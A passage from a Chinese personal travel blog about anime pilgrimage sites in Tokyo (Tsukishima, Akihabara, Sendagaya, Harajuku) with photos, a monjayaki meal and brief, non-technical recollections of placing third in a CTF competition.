<p>住吉神社<span class="mojikumi-line-end">。</span>后来才想起来忘记进去看一眼绘马了<span class="mojikumi-line-end">，</span>可惜<span class="mojikumi-line-end">，</span>大概是第一次来神社还有点过度地敬畏<span class="mojikumi-line-end">，</span>不敢随便进去看<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">，</span>之后又去了几个神社就习惯了<span class="mojikumi-line-end">。</span>而且我印象中 3 狮里这个神社似乎没什么剧情<span class="mojikumi-line-start">（</span>？<span class="mojikumi-line-end">，</span>起码比将棋会馆旁边的鸠森八幡神社以及 μ's<span class="mojikumi-line-end">、</span>Liella! 的神社少出现很多<span class="mojikumi-line-end">，</span>但忘记了起码可以看一下绘马有没有 3 狮<span class="mojikumi-line-end">。</span></p>
<p><picture><img type="image/webp" srcset="/assets/sumiyoshi-jinja.b2532590.webp" loading="lazy" src="/assets/sumiyoshi-jinja.b2532590.webp" width="3072" height="4096" alt="住吉神社"></picture></p>
<p>佃小桥<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/tsukudako-bridge-1.58ea70ab.webp" loading="lazy" src="/assets/tsukudako-bridge-1.58ea70ab.webp" width="4096" height="3072" alt="佃小桥"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/tsukudako-bridge-2.4b192cbd.webp" loading="lazy" src="/assets/tsukudako-bridge-2.4b192cbd.webp" width="4096" height="3072" alt="佃小桥"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/tsukudako-bridge-3.82a2809d.webp" loading="lazy" src="/assets/tsukudako-bridge-3.82a2809d.webp" width="3072" height="4096" alt="佃小桥北侧"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/tsukudako-bridge-4.86e565f5.webp" loading="lazy" src="/assets/tsukudako-bridge-4.86e565f5.webp" width="3072" height="4096" alt="佃小桥南侧"></picture></p>
<p>逛了半天回来一看<span class="mojikumi-line-end">，</span>店里人也没有变少<span class="mojikumi-line-end">，</span>只能去吃了<span class="mojikumi-line-end">。</span>进去之后才意识到<span class="mojikumi-line-end">，</span>比起人少<span class="mojikumi-line-end">，</span>其实更需要的是一个靠窗的桌<span class="mojikumi-line-end">，</span>我最后进去的时候只有靠墙的桌了<span class="mojikumi-line-end">，</span>而墙上有插画和签名！不知道为什么在外面看里面有多少人的时候没注意<span class="mojikumi-line-end">，</span>本来可以看着吃的<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">；</span>店里人多也不方便拍照<span class="mojikumi-line-end">，</span>最后也实在是不敢拍<span class="mojikumi-line-end">，</span>反正这个网上也有照片<span class="mojikumi-line-end">，</span>我自己也亲眼看到了就完事了<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">。</span>高桥<span class="mojikumi-line-end">、</span>日向和零吃的<span lang="ja">鲑もんじゃ</span>和<span lang="ja">明太もちチーズもんじゃ</span><span class="mojikumi-line-end">，</span>而我要吃肉<span class="mojikumi-line-end">，</span>就鲑了<span class="mojikumi-line-end">。</span>之前在小红书上看到很多避雷文字烧的<span class="mojikumi-line-end">，</span>还有点担心<span class="mojikumi-line-end">，</span>但我觉得味道还可以<span class="mojikumi-line-end">，</span>外观和小红书相比也没那么呕吐物<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">，</span>唯一的问题是<span class="mojikumi-line-end">，</span>这个小铲从一整块里铲一口还好<span class="mojikumi-line-end">，</span>把单独的一小块铲起来就有点难了<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">。</span>另外<span class="mojikumi-line-end">，</span>在我之后还来了一个一个人吃的男生<span class="mojikumi-line-end">，</span>感动<span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/monja-1.66ac693a.webp" loading="lazy" src="/assets/monja-1.66ac693a.webp" width="3072" height="4096" alt="文字烧最初的样子"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/monja-2.86056280.webp" loading="lazy" src="/assets/monja-2.86056280.webp" width="3072" height="4096" alt="飞舞的铲子"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/monja-3.6008fc1d.webp" loading="lazy" src="/assets/monja-3.6008fc1d.webp" width="3072" height="4096" alt="文字烧成品"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/monja-4.bb81e88c.webp" loading="lazy" src="/assets/monja-4.bb81e88c.webp" width="3072" height="4096" alt="吃完后 &amp; 桌牌 &amp; 调料"></picture></p>
<p>吃完文字烧之后<span class="mojikumi-line-end">，</span>沿河岸一直走到了月岛的北端<span class="mojikumi-line-end">。</span>东侧的河岸是一些石滩<span class="mojikumi-line-end">，</span>我印象中<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">）</span>是没有出现过这边的场景<span class="mojikumi-line-end">，</span>就没拍<span class="mojikumi-line-end">。</span></p>
<p><picture><img type="image/webp" srcset="/assets/chuoohashi-1.e41f3a9f.webp" loading="lazy" src="/assets/chuoohashi-1.e41f3a9f.webp" width="4096" height="3072" alt="中央大桥西侧"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/chuoohashi-2.a491464f.webp" loading="lazy" src="/assets/chuoohashi-2.a491464f.webp" width="3264" height="2448" alt="中央大桥东侧"></picture></p>
<p><span lang="ja">マルエツ</span>超市<span class="mojikumi-line-end">，</span>下了中央大桥后就能望到它的绿色<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/maruetsu.372e17cd.webp" loading="lazy" src="/assets/maruetsu.372e17cd.webp" width="3072" height="4096" alt="マルエツ"></picture></p>
<p>一路上我都并不抱期待地希望能看到什么 3 狮元素<span class="mojikumi-line-end">，</span>除了<span lang="ja">もんじゃ太郎</span>也没看到别的<span class="mojikumi-line-end">，</span>结果在中央大桥脚下有个意外收获<span class="mojikumi-line-start">（</span>这边是一家 Natural Lawson<span class="mojikumi-line-end">，</span>不知道为啥出现在这<span class="mojikumi">）</span><span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/kio.66cd2d65.webp" loading="lazy" src="/assets/kio.66cd2d65.webp" width="3072" height="4096" alt="棋王战海报"></picture></p>
<p>中央大桥的近景<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/chuoohashi-3.2fdee197.webp" loading="lazy" src="/assets/chuoohashi-3.2fdee197.webp" width="3072" height="4096" alt="中央大桥"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/chuoohashi-4.1a4668dc.webp" loading="lazy" src="/assets/chuoohashi-4.1a4668dc.webp" width="4096" height="3072" alt="中央大桥铭牌"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/chuoohashi-5.92a53410.webp" loading="lazy" src="/assets/chuoohashi-5.92a53410.webp" width="3072" height="4096" alt="中央大桥"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/chuoohashi-6.50a93dad.webp" loading="lazy" src="/assets/chuoohashi-6.50a93dad.webp" width="3072" height="4096" alt="中央大桥"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/chuoohashi-7.adcc53f4.webp" loading="lazy" src="/assets/chuoohashi-7.adcc53f4.webp" width="3072" height="4096" alt="中央大桥"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/chuoohashi-8.7ec607f7.webp" loading="lazy" src="/assets/chuoohashi-8.7ec607f7.webp" width="3072" height="4096" alt="中央大桥上桥处"></picture></p>
<p>灵岸岛水位观测所<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/water-level-1.52808707.webp" loading="lazy" src="/assets/water-level-1.52808707.webp" width="3072" height="4096" alt="灵岸岛水位观测所"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/water-level-2.56a52753.webp" loading="lazy" src="/assets/water-level-2.56a52753.webp" width="3072" height="4096" alt="灵岸岛水位观测所"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/water-level-3.2943b963.webp" loading="lazy" src="/assets/water-level-3.2943b963.webp" width="4096" height="3072" alt="灵岸岛水位观测所"></picture></p>
<p>零去将棋会馆时前往车站经过的高桥<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/takahashi-1.8f3c9cfc.webp" loading="lazy" src="/assets/takahashi-1.8f3c9cfc.webp" width="3072" height="4096" alt="高桥"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/takahashi-2.4640c72d.webp" loading="lazy" src="/assets/takahashi-2.4640c72d.webp" width="4096" height="3072" alt="高桥"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/takahashi-3.7f6aa36e.webp" loading="lazy" src="/assets/takahashi-3.7f6aa36e.webp" width="3072" height="4096" alt="高桥铭牌"></picture></p>
<h2 id="day-1" class="heading"><a href="#day-1" class="heading-anchor" aria-label="章节： Day 1" tabindex="-1"></a><span>Day 1</span></h2>
<h3 id="月岛（昼）" class="heading"><a href="#月岛（昼）" class="heading-anchor" aria-label="章节： 月岛（昼）" tabindex="-1"></a><span>月岛<span class="mojikumi-line-start">（</span>昼<span class="mojikumi-line-end">）</span></span></h3>
<p>半夜醒了一次<span class="mojikumi-line-end">，</span>突然觉得早上应该去月岛走走<span class="mojikumi-line-end">，</span>而且后面两天可能也没机会再去了<span class="mojikumi-line-end">，</span>尤其是白天去<span class="mojikumi-line-end">，</span>于是把闹钟调早了<span class="mojikumi-line-start">（</span></p>
<p>早上很匆忙地走了一趟<span class="mojikumi-line-end">，</span>连中央大桥的远景都忘记拍了<span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/takahashi-day.85107c09.webp" loading="lazy" src="/assets/takahashi-day.85107c09.webp" width="3072" height="4096" alt="高桥（白天）"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/chuoohashi-day-1.b93d7e61.webp" loading="lazy" src="/assets/chuoohashi-day-1.b93d7e61.webp" width="3072" height="4096" alt="中央大桥（白天）"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/chuoohashi-day-2.487f0023.webp" loading="lazy" src="/assets/chuoohashi-day-2.487f0023.webp" width="4096" height="3072" alt="中央大桥（白天）"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/tsukishima-riverside-day-1.94f6844e.webp" loading="lazy" src="/assets/tsukishima-riverside-day-1.94f6844e.webp" width="3072" height="4096" alt="河岸（白天）"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/tsukishima-riverside-day-2.7c77088f.webp" loading="lazy" src="/assets/tsukishima-riverside-day-2.7c77088f.webp" width="4096" height="3072" alt="河岸（白天）"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/tsukishima-riverside-day-3.914f59fd.webp" loading="lazy" src="/assets/tsukishima-riverside-day-3.914f59fd.webp" width="4096" height="3072" alt="河岸（白天）"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/sumiyoshiko-bridge-day-1.b9ef15ab.webp" loading="lazy" src="/assets/sumiyoshiko-bridge-day-1.b9ef15ab.webp" width="4096" height="3072" alt="住吉小桥"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/sumiyoshiko-bridge-day-2.1ba2ead5.webp" loading="lazy" src="/assets/sumiyoshiko-bridge-day-2.1ba2ead5.webp" width="3072" height="4096" alt="住吉小桥"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/tsukishima-riverside-day-4.bd71b8fc.webp" loading="lazy" src="/assets/tsukishima-riverside-day-4.bd71b8fc.webp" width="4096" height="3072" alt="河岸（白天）"></picture></p>
<p>回来的时候 Google Maps 说新宿线比浅草线快<span class="mojikumi-line-end">，</span>并且说出站口在 1 车厢<span class="mojikumi-line-end">，</span>而进站的时候在 10 车厢<span class="mojikumi-line-end">，</span>走了半天走过去<span class="mojikumi-line-end">，</span>结果下车一看<span class="mojikumi-line-end">，</span>旁边没有出站口<span class="mojikumi-line-end">，</span>只有一个 JR 换乘口<span class="mojikumi-line-end">，</span>而出站口在 5 车厢<span class="mojikumi-line-end">，</span>并且要地下走很远<span class="mojikumi-line-end">，</span>怀疑是之前有一个更快的走到出站口的路线而现在没了<span class="mojikumi-line-end">，</span>最后赶得非常急<span class="mojikumi-line-start">（</span></p>
<h3 id="ctf" class="heading"><a href="#ctf" class="heading-anchor" aria-label="章节： CTF" tabindex="-1"></a><span>CTF</span></h3>
<p>开场之后<span class="mojikumi-line-end">，</span>用了一会儿搞明白这个 KotH 是在干什么<span class="mojikumi-line-end">，</span>原来只是按排名每 5min 记一次分<span class="mojikumi-line-end">，</span>而不是攻防渗透什么的<span class="mojikumi-line-end">。</span>phase 1 是一个矩阵快速幂优化递推<span class="mojikumi-line-end">，</span>怀念<span class="mojikumi-line-end">，</span>但是事后得知这个递推有 <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span></span> 的公式<span class="mojikumi-line-start">（</span>不需要算幂<span class="mojikumi">）</span><span class="mojikumi-line-end">，</span>草<span class="mojikumi-line-end">，</span>学 OI 学的<span class="mojikumi-line-start">（</span></p>
<p>Web 有三个 HTML sanitize<span class="mojikumi-line-end">，</span>我研究过 HTML sanitize<span class="mojikumi-line-end">，</span>但三个题都不会<span class="mojikumi-line-start">（</span></p>
<p>KotH phase 3 一开始想到了做法但以为不对就没写<span class="mojikumi-line-end">，</span>最后很晚才开始写<span class="mojikumi-line-end">，</span>最后 20min 才写完<span class="mojikumi-line-end">，</span>没拿到几分<span class="mojikumi-line-end">，</span>血亏<span class="mojikumi-line-end">，</span>本来可以 rk3 的<span class="mojikumi-line-start">（</span></p>
<p>结束后被老师带去吃了回转寿司<span class="mojikumi-line-end">，</span>甚至先坐地铁到了浅草寺<span class="mojikumi-line-end">，</span>我非常疑惑<span class="mojikumi-line-end">，</span>今天不是比赛日吗<span class="mojikumi-line-end">，</span>不应该在旁边随便吃点吗<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">；</span>而且<span class="mojikumi-line-end">，</span>有了今天早上和今天晚上<span class="mojikumi-line-end">，</span>suica 除去京急线的使用量已经快达到三日通票价了<span class="mojikumi-line-end">，</span>之前还算的肯定到不了<span class="mojikumi-line-start">（</span></p>
<p>晚上本来想早点睡<span class="mojikumi-line-end">，</span>day 2 大力 KotH<span class="mojikumi-line-end">，</span>结果一直在看 Web<span class="mojikumi-line-start">（</span></p>
<h2 id="day-2" class="heading"><a href="#day-2" class="heading-anchor" aria-label="章节： Day 2" tabindex="-1"></a><span>Day 2</span></h2>
<h3 id="ctf-2" class="heading"><a href="#ctf-2" class="heading-anchor" aria-label="章节： CTF" tabindex="-1"></a><span>CTF</span></h3>
<p>有了昨天的经验<span class="mojikumi-line-end">，</span>今天 KotH 比较顺利<span class="mojikumi-line-end">，</span>赶回了很多分<span class="mojikumi-line-end">；</span>出新题的间隙看 Web<span class="mojikumi-line-end">，</span>但到最后也没搞出来<span class="mojikumi-line-end">，</span>而且我非常不明白<span class="mojikumi-line-end">，</span>说好的 BOM 优先于 Content-Type 呢<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">。</span>最后成功 rk3<span class="mojikumi-line-end">，</span>离 rk2 就差 52 分<span class="mojikumi-line-end">，</span>只要 day 1 phase 3 早半小时开始写就有了<span class="mojikumi-line-end">，</span>唉<span class="mojikumi-line-end">；</span>只不过我硬是把 CTF 打成了 HPC<span class="mojikumi-line-end">，</span>还能 rk3<span class="mojikumi-line-end">，</span>也不亏了<span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/medal.550b1d49.webp" loading="lazy" src="/assets/medal.550b1d49.webp" width="3675" height="2190" alt="奖牌"></picture></p>
<p>结束后有个 after party 可以吃饭<span class="mojikumi-line-end">，</span>但是看上去要搞很久的样子<span class="mojikumi-line-end">，</span>我就先溜了<span class="mojikumi-line-start">（</span></p>
<h3 id="秋叶原（μs）" class="heading"><a href="#秋叶原（μs）" class="heading-anchor" aria-label="章节： 秋叶原（μ&#x27;s）" tabindex="-1"></a><span>秋叶原<span class="mojikumi-line-start">（</span>μ's<span class="mojikumi-line-end">）</span></span></h3>
<p>因为周一下雨<span class="mojikumi-line-end">，</span>就把圣地巡礼提前到今天了<span class="mojikumi-line-end">。</span>本来想周一去逛逛秋叶原顺便简单巡礼一下 μ's<span class="mojikumi-line-end">，</span>也拆成了今天先巡礼明天再逛<span class="mojikumi-line-end">，</span>反正秋叶原离酒店就 1km<span class="mojikumi-line-end">。</span></p>
<p>UDX<span class="mojikumi-line-start">（</span>正好没拍到广告<span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/udx.34e8df2b.webp" loading="lazy" src="/assets/udx.34e8df2b.webp" width="3072" height="4096" alt="UDX"></picture></p>
<p>从 UDX 下来的时候看到帽的广告<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/cinderella-ad.a2c009a8.webp" loading="lazy" src="/assets/cinderella-ad.a2c009a8.webp" width="3072" height="4096" alt="ウマ娘 シンデレラグレイ 4.6 开始放送"></picture></p>
<p>然后<span class="mojikumi-line-end">，</span>在去神田明神的路上<span class="mojikumi-line-end">，</span>经过了一家店<span class="mojikumi-line-start">（</span>店名是<span class="mojikumi-line-start">「</span>X<span class="mojikumi-line-end">」</span>？<span class="mojikumi">）</span><span class="mojikumi-line-end">，</span>虽然应该明天再逛的<span class="mojikumi-line-end">，</span>但还是进去了<span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/akibanoekkusu.f43b3bad.webp" loading="lazy" src="/assets/akibanoekkusu.f43b3bad.webp" width="3072" height="4096" alt="店门口的 LL 趴趴"></picture></p>
<p>看到了非常厉害的帽<span class="mojikumi-line-end">，</span>为什么呢<span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/cinderella-9980.9aa6bfb0.webp" loading="lazy" src="/assets/cinderella-9980.9aa6bfb0.webp" width="4096" height="3072" alt="帽 9980，其他大多在 3/4000 左右，还有 980 的"></picture></p>
<p>也没什么想买的<span class="mojikumi-line-end">，</span>但又觉得都进来了总得买点什么<span class="mojikumi-line-end">，</span>可是一方面价格有点劝退<span class="mojikumi-line-end">，</span>另一方面<span class="mojikumi-line-end">，</span>我在趴趴那边翻了一下<span class="mojikumi-line-end">，</span>怎么没有艾玛<span class="mojikumi-line-start">（</span>？<span class="mojikumi-line-end">，</span>于是没买<span class="mojikumi-line-start">（</span></p>
<p>μ's 练习的明神男坂<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/myojin-stair-1.47b5503a.webp" loading="lazy" src="/assets/myojin-stair-1.47b5503a.webp" width="3072" height="4096" alt="明神男坂"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/myojin-stair-2.a7499b07.webp" loading="lazy" src="/assets/myojin-stair-2.a7499b07.webp" width="3072" height="4096" alt="明神男坂"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/myojin-stair-3.1927fc52.webp" loading="lazy" src="/assets/myojin-stair-3.1927fc52.webp" width="4096" height="3072" alt="明神男坂门"></picture></p>
<p>神田明神<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/myojin-1.fad7b996.webp" loading="lazy" src="/assets/myojin-1.fad7b996.webp" width="4096" height="3072" alt="神田明神"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/myojin-2.ff585039.webp" loading="lazy" src="/assets/myojin-2.ff585039.webp" width="4096" height="3072" alt="神田明神"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/myojin-3.3f312fc3.webp" loading="lazy" src="/assets/myojin-3.3f312fc3.webp" width="4096" height="3072" alt="神田明神"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/myojin-tori.a61149e3.webp" loading="lazy" src="/assets/myojin-tori.a61149e3.webp" width="3072" height="4096" alt="神田明神"></picture></p>
<p>绘马的 LL 浓度不如别人多年前巡礼时<span class="mojikumi-line-end">，</span>但还是有不少<span class="mojikumi-line-end">，</span>很多都是水 final<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/myojin-ema-1.3d99f26c.webp" loading="lazy" src="/assets/myojin-ema-1.3d99f26c.webp" width="4096" height="3072" alt="神田明神绘马"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/myojin-ema-2.ee4d6798.webp" loading="lazy" src="/assets/myojin-ema-2.ee4d6798.webp" width="4096" height="3072" alt="神田明神绘马"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/myojin-ema-3.2c07f926.webp" loading="lazy" src="/assets/myojin-ema-3.2c07f926.webp" width="4096" height="3072" alt="神田明神绘马"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/myojin-ema-4.071ddec2.webp" loading="lazy" src="/assets/myojin-ema-4.071ddec2.webp" width="4096" height="3072" alt="神田明神绘马"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/myojin-ema-5.d9c7f43a.webp" loading="lazy" src="/assets/myojin-ema-5.d9c7f43a.webp" width="4096" height="3072" alt="神田明神绘马"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/myojin-ema-6.c419f572.webp" loading="lazy" src="/assets/myojin-ema-6.c419f572.webp" width="4096" height="3072" alt="神田明神绘马"></picture></p>
<p>给个特写<span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/myojin-ema-emma.7b83c636.webp" loading="lazy" src="/assets/myojin-ema-emma.7b83c636.webp" width="4096" height="3072" alt="艾玛生日/亚巡横浜公演缭乱绘马"></picture></p>
<p>昌平桥<span class="mojikumi-line-end">，</span>μ's 动画的一个圣地<span class="mojikumi-line-end">，</span>有点眼熟但毕竟对 μ's 的印象不太深了<span class="mojikumi-line-end">，</span>主要是这边顺路<span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/shohei-bridge.d0eb0df7.webp" loading="lazy" src="/assets/shohei-bridge.d0eb0df7.webp" width="3965" height="3072" alt="昌平桥"></picture></p>
<p>竹村<span class="mojikumi-line-end">，</span>果皇家的原型<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/honoka-home.7d7a8256.webp" loading="lazy" src="/assets/honoka-home.7d7a8256.webp" width="4096" height="3072" alt="竹村"></picture></p>
<h3 id="将棋会馆" class="heading"><a href="#将棋会馆" class="heading-anchor" aria-label="章节： 将棋会馆" tabindex="-1"></a><span>将棋会馆</span></h3>
<p>然后坐 JR 去千駄谷将棋会馆<span class="mojikumi-line-end">。</span></p>
<p><picture><img type="image/webp" srcset="/assets/sendagaya.a80b6f10.webp" loading="lazy" src="/assets/sendagaya.a80b6f10.webp" width="4096" height="3072" alt="千駄谷站"></picture></p>
<p>出站后没走两步就看见一个将棋会馆<span class="mojikumi-line-end">，</span>应该更远的<span class="mojikumi-line-end">，</span>我知道的那个将棋会馆也不长这样<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/shogi-hall-new.0b774c65.webp" loading="lazy" src="/assets/shogi-hall-new.0b774c65.webp" width="4096" height="3072" alt="新将棋会馆"></picture></p>
<p>再往前走就到了鸠森八幡神社<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/hatamori-hachiman-1.1c9d70b4.webp" loading="lazy" src="/assets/hatamori-hachiman-1.1c9d70b4.webp" width="4096" height="3072" alt="鸠森八幡神社"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/hatamori-hachiman-2.21140e42.webp" loading="lazy" src="/assets/hatamori-hachiman-2.21140e42.webp" width="3072" height="4096" alt="鸠森八幡神社"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/hatamori-hachiman-3.a8c6328f.webp" loading="lazy" src="/assets/hatamori-hachiman-3.a8c6328f.webp" width="4096" height="3072" alt="鸠森八幡神社"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/hatamori-hachiman-4.ab026fe4.webp" loading="lazy" src="/assets/hatamori-hachiman-4.ab026fe4.webp" width="4096" height="3072" alt="鸠森八幡神社"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/hatamori-hachiman-5.d28c47df.webp" loading="lazy" src="/assets/hatamori-hachiman-5.d28c47df.webp" width="3072" height="4096" alt="鸠森八幡神社"></picture></p>
<p>绘马竟然有星<span class="mojikumi-line-end">，</span>甚至还是冬玛香<span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/hatamori-hachiman-ema.5c94b413.webp" loading="lazy" src="/assets/hatamori-hachiman-ema.5c94b413.webp" width="4096" height="3072" alt="鸠森八幡神社的绘马"></picture></p>
<p>出了神社旁边就是将棋会馆<span class="mojikumi-line-end">，</span>但是转了一会儿没找到门在哪<span class="mojikumi-line-end">，</span>仔细一看才发现<span class="mojikumi-line-end">，</span>原来这个将棋会馆在施工<span class="mojikumi-line-end">，</span>之前出千駄谷站看到的那个应该是现在使用的会馆<span class="mojikumi-line-end">，</span>可惜<span class="mojikumi-line-end">。</span></p>
<p><picture><img type="image/webp" srcset="/assets/shogi-hall-construction.4525c97c.webp" loading="lazy" src="/assets/shogi-hall-construction.4525c97c.webp" width="4096" height="3072" alt="在施工的原将棋会馆"></picture></p>
<p>从将棋会馆沿观音坂到明治公园<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/kannonzaka.47921930.webp" loading="lazy" src="/assets/kannonzaka.47921930.webp" width="3072" height="4096" alt="观音坂"></picture></p>
<p>明治公园不知道是不是变样了<span class="mojikumi-line-end">，</span>没找到作品里的景<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/meiji-park.0ca7f9c3.webp" loading="lazy" src="/assets/meiji-park.0ca7f9c3.webp" width="4096" height="3072" alt="明治公园"></picture></p>
<h3 id="原宿（liella）" class="heading"><a href="#原宿（liella）" class="heading-anchor" aria-label="章节： 原宿（Liella!）" tabindex="-1"></a><span>原宿<span class="mojikumi-line-start">（</span>Liella!<span class="mojikumi-line-end">）</span></span></h3>
<p>到这里就离原宿很近了<span class="mojikumi-line-end">，</span>绘马上都有星<span class="mojikumi-line-end">，</span>事已至此<span class="mojikumi-line-end">，</span>只能巡礼一下星了<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">，</span>只不过也只是一些比较经典的加上顺路的<span class="mojikumi-line-end">，</span>比较细的地方就没去了<span class="mojikumi-line-end">。</span></p>
<p>部分参考资料<span class="mojikumi-line-end">：</span></p>
<ul>
<li><a href="https://www.bilibili.com/video/av422401658/"><span class="mojikumi-line-start">【</span>圣地巡礼<span class="mojikumi-line-end">】</span>LoveLive!SuperStar!!原宿地区超级完整版 - 江東弱角蒼天君</a></li>
<li><a href="https://home.gamer.com.tw/artwork.php?sn=5997135">2024.08.23｜聖地巡禮｜Love Live! Superstar!! - oopo320s的創作 - 巴哈姆特</a></li>
<li><a href="https://www.motsu-tanbou.com/entry/pilgrimage-lovelive-yuigaoka"><span lang="ja"><span class="mojikumi-line-start">【</span>舞台探訪・聖地巡礼<span class="mojikumi-line-end">】</span>ラブライブ! スーパースター!!結ケ丘の舞台を駆け抜ける - もつの雑記帳-日常ときどき探訪記-</span></a></li>
</ul>
<p>从明治公园直接往南正好到秋叶神社<span class="mojikumi-line-end">，</span>在路边<span class="mojikumi-line-end">，</span>很小的神社<span class="mojikumi-line-end">。</span><s>小百和香香报了同一家幼儿园.jpg<span class="mojikumi-line-start">（</span></s></p>
<p><picture><img type="image/webp" srcset="/assets/akiba-jinja.32819c1b.webp" loading="lazy" src="/assets/akiba-jinja.32819c1b.webp" width="3072" height="4096" alt="秋叶神社"></picture></p>
<p>沿表参道往西就到了可可家<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/kuku-home.47d16c24.webp" loading="lazy" src="/assets/kuku-home.47d16c24.webp" width="3072" height="4096" alt="可可家的原型"></picture></p>
<p>再走一段就是可香天桥<span class="mojikumi-line-start">（</span>神宫前步道桥<span class="mojikumi">）</span><span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/kuka-footbridge-1.be4ae235.webp" loading="lazy" src="/assets/kuka-footbridge-1.be4ae235.webp" width="4096" height="3072" alt="可香天桥"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/kuka-footbridge-2.d4062030.webp" loading="lazy" src="/assets/kuka-footbridge-2.d4062030.webp" width="4096" height="3072" alt="可香天桥"></picture></p>
<p>我大概规划了一下<span class="mojikumi-line-end">，</span>后面的路程绕个圈应该比折返好<span class="mojikumi-line-end">，</span>于是下天桥直走<span class="mojikumi-line-end">，</span>就到了稳田神社<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/onden-jinja-1.36acda67.webp" loading="lazy" src="/assets/onden-jinja-1.36acda67.webp" width="3072" height="4096" alt="稳田神社"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/onden-jinja-2.908d075c.webp" loading="lazy" src="/assets/onden-jinja-2.908d075c.webp" width="4096" height="3072" alt="稳田神社"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/onden-jinja-3.1c6f0430.webp" loading="lazy" src="/assets/onden-jinja-3.1c6f0430.webp" width="4096" height="3072" alt="稳田神社"></picture></p>
<p>这边的绘马不知道为什么都是斜着的..</p>
<p><picture><img type="image/webp" srcset="/assets/onden-jinja-ema-1.fe2ec853.webp" loading="lazy" src="/assets/onden-jinja-ema-1.fe2ec853.webp" width="3072" height="4096" alt="稳田神社绘马"></picture></p>
